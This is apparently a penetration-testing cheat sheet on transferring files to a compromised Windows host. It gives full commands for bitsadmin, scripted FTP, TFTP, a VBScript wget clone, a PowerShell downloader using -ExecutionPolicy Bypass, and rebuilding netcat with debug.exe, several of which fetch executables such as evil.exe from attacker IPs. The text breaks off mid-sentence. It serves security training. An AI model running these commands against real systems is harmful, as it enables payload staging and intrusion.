Transferring Files to Windows

Transferring files to Linux is usually pretty easy. We can use `netcat`, `wget`, or `curl`, which most systems have as default. But windows does not have these tools.

To and from client to server SMB / RDP

If you are using RDP on windows you can just attach a directory to share from when you start your RDP session.

```
xfreerdp /u:MYUSERNAME /v:10.10.10.1111 /drive:fildel,/home/temp/tmp
```

Now you can simply open the Computer part in your Explorer window, and you should see the disk `fildel`. In that share you can share documents between your computer and the RDP server.

From client to server SMB / RDP

A simple way is simply to to connect to your server with xfreerdp and then open up the fil-browser in your linux machine, and copy the file. Then go to your windows server and simply paste the file. For me it only works in that direction, and not the reverse.

From X server to Windows (Bitsadmin)

Downloading a file with CMD can be done with bitsadmin.

```
bitsadmin /transfer aaa http://192.168.66.87/apaa.txt c:\Users\temp\aaa.txt
```

FTP

Most windows machines have a ftp-client included. But we can't use it interactively since that most likely would kill our shell. So we have get around that. We can however run commands from a file. So what we want to do is to echo out the commands into a textfile. And then use that as our input to the ftp-client. Let me demonstrate.

On the compromised machine we echo out the following commands into a file

```
echo open 192.168.1.101 21> ftp.txt
echo USER asshat>> ftp.txt
echo mysecretpassword>> ftp.txt
echo bin>> ftp.txt
echo GET wget.exe>> ftp.txt
echo bye>> ftp.txt
```

Then run this command to connect to the ftp

```
ftp -v -n -s:ftp.txt
```

Of course you need to have a ftp-server configured with the user asshat and the password to mysecretpassword.

TFTP

Works by default on:

Windows XP

Windows 2003

A TFTP client is installed by default on windows machines up to Windows XP and Windows 2003. What is good about TFTP is that you can use it non-interactively. Which means less risk of losing your shell.

Kali has a TFTP server build in.
You can server up some files with it like this

```
atftpd --daemon --port 69 /tftp
/etc/init.d/atftpd restart
```

Now you can put stuff in `/srv/tftp` and it will be served. Remember that TFTP used UDP. So if you run `netstat` it will not show it as listening.

You can see it running like this

```
netstat -a -p UDP | grep udp
```

So now you can upload and download whatever from the windows-machine like this

```
tftp -i 192.160.1.101 GET wget.exe
```

If you like to test that the tftp-server is working you can test it from Linux, I don't think it has a non-interactive way.

```
tftp 192.160.1.101
GET test.txt
```

I usually put all files I want to make available in `/srv/tftp`

If you want to make sure that the file was uploaded correct you can check in the syslog. Grep for the IP like this:

`grep 192.168.1.101 /var/log/syslog`

VBScript

Here is a good script to make a wget-clone in VB.

If it doesn't work try piping it through unix2dos before copying it.

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

You then execute the script like this:

```
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe
```

PowerShell

This is how we can download a file using PowerShell. Remember since we only have a non-interactive shell we cannot start PowerShell.exe, because our shell can't handle that. But we can get around that by creaing a PowerShell-script and then executing the script:

```
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://192.168.1.101/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
```

Now we invoke it with this crazy syntax:

```
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

Debug.exe

This is a crazy technique that works on windows 32 bit machines. Basically the idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`.

`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:

```
upx -9 nc.exe
```

Now it only weights 29 kb. Perfect. So now let's disassemble it:

```
wine exe2bat.exe nc.exe nc.txt
```

Now we just copy-past the text into our windows-shell. And it will automatically create a file called nc.exe

Transfering files Windows to linux

smb-client

If you only have a hash of a user which is